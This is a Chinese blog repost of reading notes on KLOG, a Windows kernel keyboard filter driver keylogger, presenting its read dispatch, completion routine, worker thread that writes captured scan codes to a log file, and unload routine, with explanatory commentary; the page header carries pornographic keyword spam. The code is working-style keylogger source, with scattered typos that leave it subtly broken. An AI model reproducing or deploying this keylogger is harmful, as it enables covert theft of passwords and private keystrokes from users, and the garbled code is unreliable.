日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

读书笔记_键盘嗅探器(2)

發布時間:2023/12/29 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 读书笔记_键盘嗅探器(2) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

為處理READ請求而調用的例程是DispatchRead。下面具體分析該函數:

NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)

{

當一個READ請求到達鍵盤控制器時,就調用該函數。這時IRP中并沒有可用的數據。相反我們希望在捕獲了擊鍵動作之后查看IRP——當IRP正在沿著設備鏈向上傳輸時。

關于IRP已經完成的唯一通知方式是設置完成例程,如果沒有設置完成例程,則當IRP沿著設備鏈上返回是會忽略我們的存在。

將IRP傳遞給鏈中次底層設備時,需要設置IRP堆棧指針(stack pointer).術語堆棧在此處容易產生誤解:每個設備只是在每個IRP中有一段私有的可用內存。這些私有區域以指定順序排列。通過IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation調用來獲取這些私有區域的指針,在傳遞IRP之前,一個“當前”指針必須指向低層驅動程序的私有區域,因此,在調用IoCallDriver之前要調用IoCopyCurrentIrpStackLocationToNext;

// Copy parameters down to next level in the stack

// for the driver below us

IoCopyCurrentIrpStackLocationToNext(pIrp);

// Note that the completion routine is named “OnReadCompleion”:

// Set the completion callback

IoSetCompletionRoutine(pIrp,

OnReadCompletion,

pDeviceObject,

TRUE,

TRUE,

TRUE);

將掛起的IRP數目記錄下來,以便等處理完成后再卸載驅動程序

// Track the # of pending IRPs

numPendingIrps++;

最后通過IoCallDriver將IRP傳遞給鏈中的次底層設備,記住指向低層次設備的指針存儲在Device_Extension中的pKeyboardDevice中。

// Pass the IRP on down to \the driver underneath us

Return IoCallDriver(

((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)

->pKeyboardDevice, pIrp);

}// end DispatchRead

現在可以看到,每個READIRP在處理之后可用于OnReadCompletion例程中。進一步對比加以分析:

NSTATUS OnReadCompletion ( IN PDEVICE_OBJECT pDeviceObject,

INPRP pIrp, IN PVOID Context)

{

// Get the device extension– we’ll need to use it later

PDEVICE_EXTENSIONpKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;

檢查IRP狀態,它可以當作返回碼或錯誤碼,該值為STATUS_SUCCESS表明IRP已成功完成并且應該記錄了擊鍵數據。SystemBuffer成員指向KEYBOARD_INPUT_DATA結構的數組。IoStatus.Information成員包含了該數組的長度:

If(pIrp->IoStatus.Status == STATUS_SUCCESS)

{

PKEYBOARD_INPUT_DATA keys =(PKEYBORAD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

Int numKeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);

KEYBOARD_INPUT_DATA結構定義如下:

Typedef struct _KEYBOARD_INPUT_DATA{

USHORT UnitId;

USHORT MakeCode;

USHORT Flags;

USHORT Reserved;

ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

然后示例程序循環遍歷所有的數組成員,從每個成員中獲取擊鍵動作:

For(int I = 0; I < numkeys; i++)

{

DbgPrint(“ScanCode: %x\n”,keys[i].MakeCode);

注意會收到兩個事件:鍵按下和鍵釋放。對于簡單的擊鍵監視器來說,只需關注其中一個事件,KEY_MAKE是一個重要標志。

If(keys[i].Flags == KEY_MAKE)

DbgPrint(“%s\n”, “Key Down”)l

上述完成例程在IRQL級別DISPATCH_LEVEL上執行,這意味著它不允許文件操作,為了避開這個限制,示例程序通過一個共享鏈表將擊鍵動作傳遞給worker線程。對該鏈表的訪問必須采用關鍵段來同步。內核實施以下規則:一次只能有一個線程執行關鍵段。此處不能使用延遲過程調用(Deferred Procedure Call, DPC),因此DPC也運行在DISPATCH_LEVEL級別上。

驅動程序分配一些NonPagedPool內存,并將掃描碼放入其中,然后將其置入鏈表中。因為運行在DISPATCH級別上,所以只能從NonPagedPool中分配內存。

KEY_DATA* kData =(KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));

// Fill in kData structure with info from IRP

kData->KeyData = (char)keys[i].MakeCode;

kData->KeyFlags=(char)keys[i].Flgas;

// Add the scan code to the linked list

// queue so our worker thread

// can write it out to a file

DbgPrint(“Adding IRP to work queue…”);

ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,

&pKeyboardDeviceExtension->lockQueue);

// The semaphore is incremented to indicate that some data needs tobe processed

// Increment the semaphore by 1 – no WaitForXXX after this call

KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,

0,

1,

FALSE);

}

}

If(pIrp->PendingReturned)

IoMarkIrpPending(pIrp);

示例完成了對IRP的處理,將IRP計數遞減

numPendingIrps- -;

return pIrp->IoStatus.Status;

}

此時在鏈表中已保存了一個擊鍵動作,它用于worker線程,下面介紹worker線程的例程:

VOID ThreadKeyLogger ( IN PVOID pContext)

{

PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;

PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;

PLIST_ENTRY pListEntry;

KEY_DATA *kData; // custom data structure used to hold scancodes inthe linked list

KLOG進入一個處理循環。代碼通過KeWaitForSingleObject等待信號量。若信號量遞增,則處理循環繼續運行

While(true)

{

// Wait for data to becomeavailable in the queue

KeWaitForSingleObject(

&pKeyboardDeviceExtension->semQueue,

Executive,

KernelMode,

FALSE,

NULL);

從鏈表中安全刪除了最高端項。注意關鍵段的用法:

pListEntry = ExInterlockedRemoveHeadList(

&pKeyboardDeviceExtension->QueueListHead,

&pKeyboardDeviceEntension->lockQueue);

內核線程不能從外部終止,它們只能終止自身。KLOG檢查一個標志以判斷是否應該終止worker線程。該操作應該只放生在卸載KLOG時。

If(pKeyboardDeviceExtension->bThreadTerminate == true)

{

PsTerminateSystemThread(STATUS_SUCCESS);

}

必須使用CONTAINING_RECORD宏來獲得指向pListEntry結構中數據的指針:

kData = CONTANING_RECORD(pListEntry, KEY_DATA, ListEntry);

KLOG獲取掃描碼并將其轉換成鍵盤碼。這通過ConvertScanCodeToKeyCode工具函數完成,該函數只識別美國英語鍵盤布局,盡管它很容易替換為適用于其他鍵盤布局的代碼。

// Convert the scan code to a key code

Char keys[3] = {0};

ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys);

// Make sure the key has returned a valid code

// before writing it to the file

If (keys != 0)

{

若文件句柄是有效的,則使用ZwWriteFile將鍵盤盤碼寫入日志:

// Write the data out to a file

If(pKeyboardDeviceExtension->hLogFile != NULL)

{

IO_STATUS_BLOCK io_status;

NTSTATUS status =ZwWriteFile(

pKeyboardDeviceExtension->hLogFile,

NULL,

NULL,

NULL,

&io_status,

&keys,

Strlen(keys),

NULL,

NULL);

If(status != STATUS_SUCCESS)

DbgPrint(“Writing scancode to file…\n”);

Else

DbgPrint(“Scan code ‘%s’successfully written to file.\n”, keys);

}// end if

}// end if

}// end while

Return;

} // end ThreadLogKeyboard

以上是KLOG的主要操作。下面分析Unload例程

VOID Unload ( IN PDRIVER_OBJECT pDriverObject)

{

// Get the pointer to thedevice extension

PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

DbgPrint(“Driver Unload Called… \n”);

驅動程序必須使用IoDetachDevice函數取下分層設備的鉤子:

// Detach from the device underneath that we’re hooked to.

IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);

DbgPrint(“Keyboard hook detached from device…\n”);

下面使用了一個定時器,KLOG進入一個短循環,直到所有IRP完成處理:

// Create a timer

KTIMER kTimer;

LARGE_INTEGER timeout;

Timeout.QuadPart = 1000000;

KeInitializeTimer(&kTimer);

在某個IRP正在等待擊鍵動作,則直到按下一個鍵后卸載才能完成:

While(numPendingIrps > 0)

{

// Set the timer

KeSetTimer(&kTimer, timeout,NULL);

KeWaitForSingleObject(

&kTimer,

Executive,

KernelMode,

False,

NULL);

}

此時KLOG指示worker線程應該終止:

// Set our key logger worker thread to terminate

pKeyboardDeviceExtension->bThreadTerminate = true;

// Wake up the thread if its blocked & WaitForXXX after thiscall

KeReleaseSemaphore(

&pKeyboardDeviceExtension->semQueue,

0,

1,

TRUE);

KLOG使用線程指針調用KeWaitForSingleObject, 一直等候到該線程已終止:

// Wait until the worker thread terminates

DbgPrint(“Waiting for key logger thread to terminate…\n”);

KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,

Executive,

KernelMode,

False,NULL);

DbgPrint(“Key logger thread terminated\n”);

最后關閉日志文件:

// close the log file

ZwClose(pKeyboardDeviceExtension->hLogFile);

還執行一些適當的常規清理動作:

// Delete the device

IoDeleteDevice(pDriverObject->DeviceObject);

DbgPrint(“Tagged IRPs dead … Terminating ...\n”);

Return;

}

鍵盤嗅探器結束。

總結

以上是生活随笔為你收集整理的读书笔记_键盘嗅探器(2)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。